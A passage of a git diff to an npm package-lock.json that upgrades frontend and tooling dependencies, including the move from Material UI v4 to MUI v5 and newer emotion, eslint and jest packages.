"integrity": "sha512-Zl/0LFggN7+L1liljxXdsVSVlg6E/Z/olVWpfxUTxOAmi8NU7YoeWeLfi1RmnB2TATHoaWwIBRoL+FvAJiTUQA==", + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@emotion/serialize/-/serialize-1.1.2.tgz", + "integrity": "sha512-zR6a/fkFP4EAcCMQtLOhIgpprZOwNmCldtpaISpvz348+DP4Mz8ZoKaGGCQpbzepNIUWbq4w6hNZkwDyKoS+HA==", "dependencies": { - "@emotion/hash": "^0.9.0", - "@emotion/memoize": "^0.8.0", - "@emotion/unitless": "^0.8.0", - "@emotion/utils": "^1.2.0", + "@emotion/hash": "^0.9.1", + "@emotion/memoize": "^0.8.1", + "@emotion/unitless": "^0.8.1", + "@emotion/utils": "^1.2.1", "csstype": "^3.0.2" } }, "node_modules/@emotion/sheet": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/@emotion/sheet/-/sheet-1.2.1.tgz", - "integrity": "sha512-zxRBwl93sHMsOj4zs+OslQKg/uhF38MB+OMKoCrVuS0nyTkqnau+BM3WGEoOptg9Oz45T/aIGs1qbVAsEFo3nA==" + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/@emotion/sheet/-/sheet-1.2.2.tgz", + "integrity": "sha512-0QBtGvaqtWi+nx6doRwDdBIzhNdZrXUppvTM4dtZZWEGTXL/XE/yJxLMGlDT1Gt+UHH5IX1n+jkXyytE/av7OA==" + }, + "node_modules/@emotion/styled": { + "version": "11.11.0", + "resolved": "https://registry.npmjs.org/@emotion/styled/-/styled-11.11.0.tgz", + "integrity": "sha512-hM5Nnvu9P3midq5aaXj4I+lnSfNi7Pmd4EWk1fOZ3pxookaQTNew6bp4JaCBYM4HVFZF9g7UjJmsUmC2JlxOng==", + "dependencies": { + "@babel/runtime": "^7.18.3", + "@emotion/babel-plugin": "^11.11.0", + "@emotion/is-prop-valid": "^1.2.1", + "@emotion/serialize": "^1.1.2", + "@emotion/use-insertion-effect-with-fallbacks": "^1.0.1", + "@emotion/utils": "^1.2.1" + }, + "peerDependencies": { + "@emotion/react": "^11.0.0-rc.0", + "react": ">=16.8.0" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } }, "node_modules/@emotion/unitless": { - "version": "0.8.0", - "resolved": "https://registry.npmjs.org/@emotion/unitless/-/unitless-0.8.0.tgz", - "integrity": "sha512-VINS5vEYAscRl2ZUDiT3uMPlrFQupiKgHz5AA4bCH1miKBg4qtwkim1qPmJj/4WG6TreYMY111rEFsjupcOKHw==" + "version": "0.8.1", + "resolved": "https://registry.npmjs.org/@emotion/unitless/-/unitless-0.8.1.tgz", + "integrity": "sha512-KOEGMu6dmJZtpadb476IsZBclKvILjopjUii3V+7MnXIQCYh8W3NgNcgwo21n9LXZX6EDIKvqfjYxXebDwxKmQ==" }, "node_modules/@emotion/use-insertion-effect-with-fallbacks": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/@emotion/use-insertion-effect-with-fallbacks/-/use-insertion-effect-with-fallbacks-1.0.0.tgz", - "integrity": "sha512-1eEgUGmkaljiBnRMTdksDV1W4kUnmwgp7X9G8B++9GYwl1lUdqSndSriIrTJ0N7LQaoauY9JJ2yhiOYK5+NI4A==", + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@emotion/use-insertion-effect-with-fallbacks/-/use-insertion-effect-with-fallbacks-1.0.1.tgz", + "integrity": "sha512-jT/qyKZ9rzLErtrjGgdkMBn2OP8wl0G3sQlBb3YPryvKHsjvINUhVaPFfP+fpBcOkmrVOVEEHQFJ7nbj2TH2gw==", "peerDependencies": { "react": ">=16.8.0" } }, "node_modules/@emotion/utils": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/@emotion/utils/-/utils-1.2.0.tgz", - "integrity": "sha512-sn3WH53Kzpw8oQ5mgMmIzzyAaH2ZqFEbozVVBSYp538E06OSE6ytOp7pRAjNQR+Q/orwqdQYJSe2m3hCOeznkw==" + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/@emotion/utils/-/utils-1.2.1.tgz", + "integrity": "sha512-Y2tGf3I+XVnajdItskUCn6LX+VUDmP6lTL4fcqsXAv43dnlbZiuW4MWQW38rW/BVWSE7Q/7+XQocmpnRYILUmg==" }, "node_modules/@emotion/weak-memoize": { - "version": "0.3.0", - "resolved": "https://registry.npmjs.org/@emotion/weak-memoize/-/weak-memoize-0.3.0.tgz", - "integrity": "sha512-AHPmaAx+RYfZz0eYu6Gviiagpmiyw98ySSlQvCUhVGDRtDFe4DBS0x1bSjdF3gqUDYOczB+yYvBTtEylYSdRhg==" + "version": "0.3.1", + "resolved": "https://registry.npmjs.org/@emotion/weak-memoize/-/weak-memoize-0.3.1.tgz", + "integrity": "sha512-EsBwpc7hBUJWAsNPBmJy4hxWx12v6bshQsldrVmjxJoc3isbxhOrF2IcCpaXxfvq03NwkI7sbsOLXbYuqF/8Ww==" }, - "node_modules/@eslint/eslintrc": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/@eslint/eslintrc/-/eslintrc-2.0.0.tgz", - "integrity": "sha512-fluIaaV+GyV24CCu/ggiHdV+j4RNh85yQnAYS/G2mZODZgGmmlrgCydjUcV3YvxCm9x8nMAfThsqTni4KiXT4A==", + "node_modules/@eslint-community/eslint-utils": { + "version": "4.4.0", + "resolved": "https://registry.npmjs.org/@eslint-community/eslint-utils/-/eslint-utils-4.4.0.tgz", + "integrity": "sha512-1/sA4dwrzBAyeUoQ6oxahHKmrZvsnLCg4RfxW3ZFGGmQkSNQPFNLV9CUEFQP1x9EYXHTo5p6xdhZM1Ne9p/AfA==", "dev": true, "dependencies": { - "ajv": "^6.12.4", + "eslint-visitor-keys": "^3.3.0" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "peerDependencies": { + "eslint": "^6.0.0 || ^7.0.0 || >=8.0.0" + } + }, + "node_modules/@eslint-community/eslint-utils/node_modules/eslint-visitor-keys": { + "version": "3.4.3", + "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-3.4.3.tgz", + "integrity": "sha512-wpc+LXeiyiisxPlEkUzU6svyS1frIO3Mgxj1fdy7Pm8Ygzguax2N3Fa/D/ag1WqbOprdI+uY6wMUl8/a2G+iag==", + "dev": true, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/@eslint-community/regexpp": { + "version": "4.8.1", + "resolved": "https://registry.npmjs.org/@eslint-community/regexpp/-/regexpp-4.8.1.tgz", + "integrity": "sha512-PWiOzLIUAjN/w5K17PoF4n6sKBw0gqLHPhywmYHP4t1VFQQVYeb1yWsJwnMVEMl3tUHME7X/SJPZLmtG7XBDxQ==", + "dev": true, + "engines": { + "node": "^12.0.0 || ^14.0.0 || >=16.0.0" + } + }, + "node_modules/@eslint/eslintrc": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/@eslint/eslintrc/-/eslintrc-2.1.2.tgz", + "integrity": "sha512-+wvgpDsrB1YqAMdEUCcnTlpfVBH7Vqn6A/NT3D8WVXFIaKMlErPIZT3oCIAVCOtarRpMtelZLqJeU3t7WY6X6g==", + "dev": true, + "dependencies": { + "ajv": "^6.12.4", "debug": "^4.3.2", - "espree": "^9.4.0", + "espree": "^9.6.0", "globals": "^13.19.0", "ignore": "^5.2.0", "import-fresh": "^3.2.1", @@ -2109,9 +2246,9 @@ } }, "node_modules/@eslint/eslintrc/node_modules/globals": { - "version": "13.20.0", - "resolved": "https://registry.npmjs.org/globals/-/globals-13.20.0.tgz", - "integrity": "sha512-Qg5QtVkCy/kv3FUSlu4ukeZDVf9ee0iXLAUYX13gbR17bnejFTzr4iS9bY7kwCf1NztRNm1t91fjOiyx4CSwPQ==", + "version": "13.21.0", + "resolved": "https://registry.npmjs.org/globals/-/globals-13.21.0.tgz", + "integrity": "sha512-ybyme3s4yy/t/3s35bewwXKOf7cvzfreG2lH0lZl0JB7I4GxRP2ghxOK/Nb9EkRXdbBXZLfq/p/0W2JUONB/Gg==", "dev": true, "dependencies": { "type-fest": "^0.20.2" @@ -2142,54 +2279,88 @@ } }, "node_modules/@eslint/js": { - "version": "8.35.0", - "resolved": "https://registry.npmjs.org/@eslint/js/-/js-8.35.0.tgz", - "integrity": "sha512-JXdzbRiWclLVoD8sNUjR443VVlYqiYmDVT6rGUEIEHU5YJW0gaVZwV2xgM7D4arkvASqD0IlLUVjHiFuxaftRw==", + "version": "8.49.0", + "resolved": "https://registry.npmjs.org/@eslint/js/-/js-8.49.0.tgz", + "integrity": "sha512-1S8uAY/MTJqVx0SC4epBq+N2yhuwtNwLbJYNZyhL2pO1ZVKn5HFXav5T41Ryzy9K9V7ZId2JB2oy/W4aCd9/2w==", "dev": true, "engines": { "node": "^12.22.0 || ^14.17.0 || >=16.0.0" } }, + "node_modules/@floating-ui/core": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/@floating-ui/core/-/core-1.5.0.tgz", + "integrity": "sha512-kK1h4m36DQ0UHGj5Ah4db7R0rHemTqqO0QLvUqi1/mUUp3LuAWbWxdxSIf/XsnH9VS6rRVPLJCncjRzUvyCLXg==", + "dependencies": { + "@floating-ui/utils": "^0.1.3" + } + }, + "node_modules/@floating-ui/dom": { + "version": "1.5.3", + "resolved": "https://registry.npmjs.org/@floating-ui/dom/-/dom-1.5.3.tgz", + "integrity": "sha512-ClAbQnEqJAKCJOEbbLo5IUlZHkNszqhuxS4fHAVxRPXPya6Ysf2G8KypnYcOTpx6I8xcgF9bbHb6g/2KpbV8qA==", + "dependencies": { + "@floating-ui/core": "^1.4.2", + "@floating-ui/utils": "^0.1.3" + } + }, + "node_modules/@floating-ui/react-dom": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/@floating-ui/react-dom/-/react-dom-2.0.2.tgz", + "integrity": "sha512-5qhlDvjaLmAst/rKb3VdlCinwTF4EYMiVxuuc/HVUjs46W0zgtbMmAZ1UTsDrRTxRmUEzl92mOtWbeeXL26lSQ==", + "dependencies": { + "@floating-ui/dom": "^1.5.1" + }, + "peerDependencies": { + "react": ">=16.8.0", + "react-dom": ">=16.8.0" + } + }, + "node_modules/@floating-ui/utils": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/@floating-ui/utils/-/utils-0.1.4.tgz", + "integrity": "sha512-qprfWkn82Iw821mcKofJ5Pk9wgioHicxcQMxx+5zt5GSKoqdWvgG5AxVmpmUUjzTLPVSH5auBrhI93Deayn/DA==" + }, "node_modules/@fortawesome/fontawesome-common-types": { - "version": "6.3.0", - "resolved": "https://registry.npmjs.org/@fortawesome/fontawesome-common-types/-/fontawesome-common-types-6.3.0.tgz", - "integrity": "sha512-4BC1NMoacEBzSXRwKjZ/X/gmnbp/HU5Qqat7E8xqorUtBFZS+bwfGH5/wqOC2K6GV0rgEobp3OjGRMa5fK9pFg==", + "version": "6.4.2", + "resolved": "https://registry.npmjs.org/@fortawesome/fontawesome-common-types/-/fontawesome-common-types-6.4.2.tgz", + "integrity": "sha512-1DgP7f+XQIJbLFCTX1V2QnxVmpLdKdzzo2k8EmvDOePfchaIGQ9eCHj2up3/jNEbZuBqel5OxiaOJf37TWauRA==", "hasInstallScript": true, "engines": { "node": ">=6" } }, "node_modules/@fortawesome/fontawesome-svg-core": { - "version": "6.3.0", - "resolved": "https://registry.npmjs.org/@fortawesome/fontawesome-svg-core/-/fontawesome-svg-core-6.3.0.tgz", - "integrity": "sha512-uz9YifyKlixV6AcKlOX8WNdtF7l6nakGyLYxYaCa823bEBqyj/U2ssqtctO38itNEwXb8/lMzjdoJ+aaJuOdrw==", + "version": "6.4.2", + "resolved": "https://registry.npmjs.org/@fortawesome/fontawesome-svg-core/-/fontawesome-svg-core-6.4.2.tgz", + "integrity": "sha512-gjYDSKv3TrM2sLTOKBc5rH9ckje8Wrwgx1CxAPbN5N3Fm4prfi7NsJVWd1jklp7i5uSCVwhZS5qlhMXqLrpAIg==", "hasInstallScript": true, "dependencies": { - "@fortawesome/fontawesome-common-types": "6.3.0" + "@fortawesome/fontawesome-common-types": "6.4.2" }, "engines": { "node": ">=6" } }, "node_modules/@fortawesome/free-regular-svg-icons": { - "version": "6.3.0", - "resolved": "https://registry.npmjs.org/@fortawesome/free-regular-svg-icons/-/free-regular-svg-icons-6.3.0.tgz", - "integrity": "sha512-cZnwiVHZ51SVzWHOaNCIA+u9wevZjCuAGSvSYpNlm6A4H4Vhwh8481Bf/5rwheIC3fFKlgXxLKaw8Xeroz8Ntg==", + "version": "6.4.2", + "resolved": "https://registry.npmjs.org/@fortawesome/free-regular-svg-icons/-/free-regular-svg-icons-6.4.2.tgz", + "integrity": "sha512-0+sIUWnkgTVVXVAPQmW4vxb9ZTHv0WstOa3rBx9iPxrrrDH6bNLsDYuwXF9b6fGm+iR7DKQvQshUH/FJm3ed9Q==", "hasInstallScript": true, "dependencies": { - "@fortawesome/fontawesome-common-types": "6.3.0" + "@fortawesome/fontawesome-common-types": "6.4.2" }, "engines": { "node": ">=6" } }, "node_modules/@fortawesome/free-solid-svg-icons": { - "version": "6.3.0", - "resolved": "https://registry.npmjs.org/@fortawesome/free-solid-svg-icons/-/free-solid-svg-icons-6.3.0.tgz", - "integrity": "sha512-x5tMwzF2lTH8pyv8yeZRodItP2IVlzzmBuD1M7BjawWgg9XAvktqJJ91Qjgoaf8qJpHQ8FEU9VxRfOkLhh86QA==", + "version": "6.4.2", + "resolved": "https://registry.npmjs.org/@fortawesome/free-solid-svg-icons/-/free-solid-svg-icons-6.4.2.tgz", + "integrity": "sha512-sYwXurXUEQS32fZz9hVCUUv/xu49PEJEyUOsA51l6PU/qVgfbTb2glsTEaJngVVT8VqBATRIdh7XVgV1JF1LkA==", "hasInstallScript": true, "dependencies": { - "@fortawesome/fontawesome-common-types": "6.3.0" + "@fortawesome/fontawesome-common-types": "6.4.2" }, "engines": { "node": ">=6" @@ -2208,9 +2379,9 @@ } }, "node_modules/@humanwhocodes/config-array": { - "version": "0.11.8", - "resolved": "https://registry.npmjs.org/@humanwhocodes/config-array/-/config-array-0.11.8.tgz", - "integrity": "sha512-UybHIJzJnR5Qc/MsD9Kr+RpO2h+/P1GhOwdiLPXK5TWk5sgTdu88bTD9UP+CKbPPh5Rni1u0GjAdYQLemG8g+g==", + "version": "0.11.11", + "resolved": "https://registry.npmjs.org/@humanwhocodes/config-array/-/config-array-0.11.11.tgz", + "integrity": "sha512-N2brEuAadi0CcdeMXUkhbZB84eskAc8MEX1By6qEchoVywSgXPIjou4rYsl0V3Hj0ZnuGycGCjdNgockbzeWNA==", "dev": true, "dependencies": { "@humanwhocodes/object-schema": "^1.2.1", @@ -2240,37 +2411,133 @@ "integrity": "sha512-ZnQMnLV4e7hDlUvw8H+U8ASL02SS2Gn6+9Ac3wGGLIe7+je2AeAOxPY+izIPJDfFDb7eDjev0Us8MO1iFRN8hA==", "dev": true }, + "node_modules/@isaacs/cliui": { + "version": "8.0.2", + "resolved": "https://registry.npmjs.org/@isaacs/cliui/-/cliui-8.0.2.tgz", + "integrity": "sha512-O8jcjabXaleOG9DQ0+ARXWZBTfnP4WNAqzuiJK7ll44AmxGKv/J2M4TPjxjY3znBCfvBXFzucm1twdyFybFqEA==", + "dev": true, + "dependencies": { + "string-width": "^5.1.2", + "string-width-cjs": "npm:string-width@^4.2.0", + "strip-ansi": "^7.0.1", + "strip-ansi-cjs": "npm:strip-ansi@^6.0.1", + "wrap-ansi": "^8.1.0", + "wrap-ansi-cjs": "npm:wrap-ansi@^7.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/@isaacs/cliui/node_modules/ansi-regex": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.0.1.tgz", + "integrity": "sha512-n5M855fKb2SsfMIiFFoVrABHJC8QtHwVx+mHWP3QcEqBHYienj5dHSgjbxtC0WEZXYt4wcD6zrQElDPhFuZgfA==", + "dev": true, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-regex?sponsor=1" + } + }, + "node_modules/@isaacs/cliui/node_modules/ansi-styles": { + "version": "6.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-6.2.1.tgz", + "integrity": "sha512-bN798gFfQX+viw3R7yrGWRqnrN2oRkEkUjjl4JNn4E8GxxbjtG3FbrEIIY3l8/hrwUwIeCZvi4QuOTP4MErVug==", + "dev": true, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/@isaacs/cliui/node_modules/emoji-regex": { + "version": "9.2.2", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-9.2.2.tgz", + "integrity": "sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg==", + "dev": true + }, + "node_modules/@isaacs/cliui/node_modules/string-width": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-5.1.2.tgz", + "integrity": "sha512-HnLOCR3vjcY8beoNLtcjZ5/nxn2afmME6lhrDrebokqMap+XbeW8n9TXpPDOqdGK5qcI3oT0GKTW6wC7EMiVqA==", + "dev": true, + "dependencies": { + "eastasianwidth": "^0.2.0", + "emoji-regex": "^9.2.2", + "strip-ansi": "^7.0.1" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/@isaacs/cliui/node_modules/strip-ansi": { + "version": "7.1.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.1.0.tgz", + "integrity": "sha512-iq6eVVI64nQQTRYq2KtEg2d2uU7LElhTJwsH4YzIHZshxlgZms/wIc4VoDQTlG/IvVIrBKG06CrZnp0qv7hkcQ==", + "dev": true, + "dependencies": { + "ansi-regex": "^6.0.1" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/strip-ansi?sponsor=1" + } + }, + "node_modules/@isaacs/cliui/node_modules/wrap-ansi": { + "version": "8.1.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-8.1.0.tgz", + "integrity": "sha512-si7QWI6zUMq56bESFvagtmzMdGOtoxfR+Sez11Mobfc7tm+VkUckk9bW2UeffTGVUbOksxmSw0AA2gs8g71NCQ==", + "dev": true, + "dependencies": { + "ansi-styles": "^6.1.0", + "string-width": "^5.0.1", + "strip-ansi": "^7.0.1" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/wrap-ansi?sponsor=1" + } + }, "node_modules/@jest/expect-utils": { - "version": "29.5.0", - "resolved": "https://registry.npmjs.org/@jest/expect-utils/-/expect-utils-29.5.0.tgz", - "integrity": "sha512-fmKzsidoXQT2KwnrwE0SQq3uj8Z763vzR8LnLBwC2qYWEFpjX8daRsk6rHUM1QvNlEW/UJXNXm59ztmJJWs2Mg==", + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/@jest/expect-utils/-/expect-utils-29.7.0.tgz", + "integrity": "sha512-GlsNBWiFQFCVi9QVSx7f5AgMeLxe9YCCs5PuP2O2LdjDAA8Jh9eX7lA1Jq/xdXw3Wb3hyvlFNfZIfcRetSzYcA==", "dev": true, "dependencies": { - "jest-get-type": "^29.4.3" + "jest-get-type": "^29.6.3" }, "engines": { "node": "^14.15.0 || ^16.10.0 || >=18.0.0" } }, "node_modules/@jest/schemas": { - "version": "29.4.3", - "resolved": "https://registry.npmjs.org/@jest/schemas/-/schemas-29.4.3.tgz", - "integrity": "sha512-VLYKXQmtmuEz6IxJsrZwzG9NvtkQsWNnWMsKxqWNu3+CnfzJQhp0WDDKWLVV9hLKr0l3SLLFRqcYHjhtyuDVxg==", + "version": "29.6.3", + "resolved": "https://registry.npmjs.org/@jest/schemas/-/schemas-29.6.3.tgz", + "integrity": "sha512-mo5j5X+jIZmJQveBKeS/clAueipV7KgiX1vMgCxam1RNYiqE1w62n0/tJJnHtjW8ZHcQco5gY85jA3mi0L+nSA==", "dev": true, "dependencies": { - "@sinclair/typebox": "^0.25.16" + "@sinclair/typebox": "^0.27.8" }, "engines": { "node": "^14.15.0 || ^16.10.0 || >=18.0.0" } }, "node_modules/@jest/types": { - "version": "29.5.0", - "resolved": "https://registry.npmjs.org/@jest/types/-/types-29.5.0.tgz", - "integrity": "sha512-qbu7kN6czmVRc3xWFQcAN03RAUamgppVUdXrvl1Wr3jlNF93o9mJbGcDWrwGB6ht44u7efB1qCFgVQmca24Uog==", + "version": "29.6.3", + "resolved": "https://registry.npmjs.org/@jest/types/-/types-29.6.3.tgz", + "integrity": "sha512-u3UPsIilWKOM3F9CXtrG8LEJmNxwoCQC/XVj4IKYXvvpx7QIi/Kg1LI5uDmDpKlac62NUtX7eLjRh+jVZcLOzw==", "dev": true, "dependencies": { - "@jest/schemas": "^29.4.3", + "@jest/schemas": "^29.6.3", "@types/istanbul-lib-coverage": "^2.0.0", "@types/istanbul-reports": "^3.0.0", "@types/node": "*", @@ -2352,22 +2619,22 @@ } }, "node_modules/@jridgewell/gen-mapping": { - "version": "0.1.1", - "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.1.1.tgz", - "integrity": "sha512-sQXCasFk+U8lWYEe66WxRDOE9PjVz4vSM51fTu3Hw+ClTpUSQb718772vH3pyS5pShp6lvQM7SxgIDXXXmOX7w==", - "dev": true, + "version": "0.3.3", + "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.3.tgz", + "integrity": "sha512-HLhSWOLRi875zjjMG/r+Nv0oCW8umGb0BgEhyX3dDX3egwZtB8PqLnjz3yedt8R5StBrzcg4aBpnh8UA9D1BoQ==", "dependencies": { - "@jridgewell/set-array": "^1.0.0", - "@jridgewell/sourcemap-codec": "^1.4.10" + "@jridgewell/set-array": "^1.0.1", + "@jridgewell/sourcemap-codec": "^1.4.10", + "@jridgewell/trace-mapping": "^0.3.9" }, "engines": { "node": ">=6.0.0" } }, "node_modules/@jridgewell/resolve-uri": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.0.tgz", - "integrity": "sha512-F2msla3tad+Mfht5cJq7LSXcdudKTWCVYUgw6pLFOOHSTtZlj6SWNYAp+AhuqLmWdBO2X5hPrLcu8cVP8fy28w==", + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.1.tgz", + "integrity": "sha512-dSYZh7HhCDtCKm4QakX0xFpsRDqjjtZf/kjI/v3T3Nwt5r8/qz/M19F9ySyOqU94SXBmeG9ttTul+YnR4LOxFA==", "engines": { "node": ">=6.0.0" } @@ -2381,39 +2648,26 @@ } }, "node_modules/@jridgewell/source-map": { - "version": "0.3.2", - "resolved": "https://registry.npmjs.org/@jridgewell/source-map/-/source-map-0.3.2.tgz", - "integrity": "sha512-m7O9o2uR8k2ObDysZYzdfhb08VuEml5oWGiosa1VdaPZ/A6QyPkAJuwN0Q1lhULOf6B7MtQmHENS743hWtCrgw==", + "version": "0.3.5", + "resolved": "https://registry.npmjs.org/@jridgewell/source-map/-/source-map-0.3.5.tgz", + "integrity": "sha512-UTYAUj/wviwdsMfzoSJspJxbkH5o1snzwX0//0ENX1u/55kkZZkcTZP6u9bwKGkv+dkk9at4m1Cpt0uY80kcpQ==", "dependencies": { "@jridgewell/gen-mapping": "^0.3.0", "@jridgewell/trace-mapping": "^0.3.9" } }, - "node_modules/@jridgewell/source-map/node_modules/@jridgewell/gen-mapping": { - "version": "0.3.2", - "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.2.tgz", - "integrity": "sha512-mh65xKQAzI6iBcFzwv28KVWSmCkdRBWoOh+bYQGW3+6OZvbbN3TqMGo5hqYxQniRcH9F2VZIoJCm4pa3BPDK/A==", - "dependencies": { - "@jridgewell/set-array": "^1.0.1", - "@jridgewell/sourcemap-codec": "^1.4.10", - "@jridgewell/trace-mapping": "^0.3.9" - }, - "engines": { - "node": ">=6.0.0" - } - }, "node_modules/@jridgewell/sourcemap-codec": { - "version": "1.4.14", - "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.4.14.tgz", - "integrity": "sha512-XPSJHWmi394fuUuzDnGz1wiKqWfo1yXecHQMRf2l6hztTO+nPru658AyDngaBe7isIxEkRsPR3FZh+s7iVa4Uw==" + "version": "1.4.15", + "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.4.15.tgz", + "integrity": "sha512-eF2rxCRulEKXHTRiDrDy6erMYWqNw4LPdQ8UQA4huuxaQsVeRPFl2oM8oDGxMFhJUWZf9McpLtJasDDZb/Bpeg==" }, "node_modules/@jridgewell/trace-mapping": { - "version": "0.3.17", - "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.17.tgz", - "integrity": "sha512-MCNzAp77qzKca9+W/+I0+sEpaUnZoeasnghNeVc41VZCEKaCH73Vq3BZZ/SzWIgrqE4H4ceI+p+b6C0mHf9T4g==", + "version": "0.3.19", + "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.19.tgz", + "integrity": "sha512-kf37QtfW+Hwx/buWGMPcR60iF9ziHa6r/CZJIHbmcm4+0qrXiVdxegAH0F6yddEVQ7zdkjcGCgCzUu+BcbhQxw==", "dependencies": { - "@jridgewell/resolve-uri": "3.1.0", - "@jridgewell/sourcemap-codec": "1.4.14" + "@jridgewell/resolve-uri": "^3.1.0", + "@jridgewell/sourcemap-codec": "^1.4.14" } }, "node_modules/@jsdevtools/ono": { @@ -2427,36 +2681,30 @@ "integrity": "sha512-Hcv+nVC0kZnQ3tD9GVu5xSMR4VVYOteQIr/hwFPVEvPdlXqgGEuRjiheChHgdM+JyqdgNcmzZOX/tnl0JOiI7A==", "dev": true }, - "node_modules/@material-ui/core": { - "version": "4.12.4", - "resolved": "https://registry.npmjs.org/@material-ui/core/-/core-4.12.4.tgz", - "integrity": "sha512-tr7xekNlM9LjA6pagJmL8QCgZXaubWUwkJnoYcMKd4gw/t4XiyvnTkjdGrUVicyB2BsdaAv1tvow45bPM4sSwQ==", - "deprecated": "Material UI v4 doesn't receive active development since September 2021. See the guide https://mui.com/material-ui/migration/migration-v4/ to upgrade to v5.", - "dependencies": { - "@babel/runtime": "^7.4.4", - "@material-ui/styles": "^4.11.5", - "@material-ui/system": "^4.12.2", - "@material-ui/types": "5.1.0", - "@material-ui/utils": "^4.11.3", - "@types/react-transition-group": "^4.2.0", - "clsx": "^1.0.4", - "hoist-non-react-statics": "^3.3.2", - "popper.js": "1.16.1-lts", - "prop-types": "^15.7.2", - "react-is": "^16.8.0 || ^17.0.0", - "react-transition-group": "^4.4.0" + "node_modules/@mui/base": { + "version": "5.0.0-beta.16", + "resolved": "https://registry.npmjs.org/@mui/base/-/base-5.0.0-beta.16.tgz", + "integrity": "sha512-OYxhC81c9bO0wobGcM8rrY5bRwpCXAI21BL0P2wz/2vTv4ek7ALz9+U5M8wgdmtRNUhmCmAB4L2WRwFRf5Cd8Q==", + "dependencies": { + "@babel/runtime": "^7.22.15", + "@floating-ui/react-dom": "^2.0.2", + "@mui/types": "^7.2.4", + "@mui/utils": "^5.14.10", + "@popperjs/core": "^2.11.8", + "clsx": "^2.0.0", + "prop-types": "^15.8.1" }, "engines": { - "node": ">=8.0.0" + "node": ">=12.0.0" }, "funding": { "type": "opencollective", - "url": "https://opencollective.com/material-ui" + "url": "https://opencollective.com/mui" }, "peerDependencies": { - "@types/react": "^16.8.6 || ^17.0.0", - "react": "^16.8.0 || ^17.0.0", - "react-dom": "^16.8.0 || ^17.0.0" + "@types/react": "^17.0.0 || ^18.0.0", + "react": "^17.0.0 || ^18.0.0", + "react-dom": "^17.0.0 || ^18.0.0" }, "peerDependenciesMeta": { "@types/react": { @@ -2464,26 +2712,33 @@ } } }, - "node_modules/@material-ui/core/node_modules/popper.js": { - "version": "1.16.1-lts", - "resolved": "https://registry.npmjs.org/popper.js/-/popper.js-1.16.1-lts.tgz", - "integrity": "sha512-Kjw8nKRl1m+VrSFCoVGPph93W/qrSO7ZkqPpTf7F4bk/sqcfWK019dWBUpE/fBOsOQY1dks/Bmcbfn1heM/IsA==" + "node_modules/@mui/core-downloads-tracker": { + "version": "5.14.10", + "resolved": "https://registry.npmjs.org/@mui/core-downloads-tracker/-/core-downloads-tracker-5.14.10.tgz", + "integrity": "sha512-kPHu/NhZq1k+vSZR5wq3AyUfD4bnfWAeuKpps0+8PS7ZHQ2Lyv1cXJh+PlFdCIOa0PK98rk3JPwMzS8BMhdHwQ==", + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/mui" + } }, - "node_modules/@material-ui/icons": { - "version": "4.11.3", - "resolved": "https://registry.npmjs.org/@material-ui/icons/-/icons-4.11.3.tgz", - "integrity": "sha512-IKHlyx6LDh8n19vzwH5RtHIOHl9Tu90aAAxcbWME6kp4dmvODM3UvOHJeMIDzUbd4muuJKHmlNoBN+mDY4XkBA==", + "node_modules/@mui/icons-material": { + "version": "5.14.9", + "resolved": "https://registry.npmjs.org/@mui/icons-material/-/icons-material-5.14.9.tgz", + "integrity": "sha512-xTRQbDsogsJo7tY5Og8R9zbuG2q+KIPVIM6JQoKxtJlz9DPOw1u0T2fGrvwD+XAOVifQf6epNMcGCDLfJAz4Nw==", "dependencies": { - "@babel/runtime": "^7.4.4" + "@babel/runtime": "^7.22.15" }, "engines": { - "node": 